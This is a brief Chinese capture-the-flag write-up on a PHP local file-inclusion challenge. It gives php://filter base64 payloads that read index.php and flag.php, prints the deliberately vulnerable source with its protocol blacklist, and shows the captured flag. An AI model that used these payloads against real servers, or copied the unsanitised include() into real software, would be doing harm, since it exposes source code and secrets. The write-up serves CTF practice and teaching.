然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测

?file=php://filter/read=convert.base64-encode/resource=index.php

 

用工具将伪代码解码就得到文件源码了

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件

?file=php://filter?read=convert.base64-encode/resource=flag.php

 再用base64工具解码就得到flag了

flag{eba8550a-7871-47ae-b101-232fdb610777}

点赞(7) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部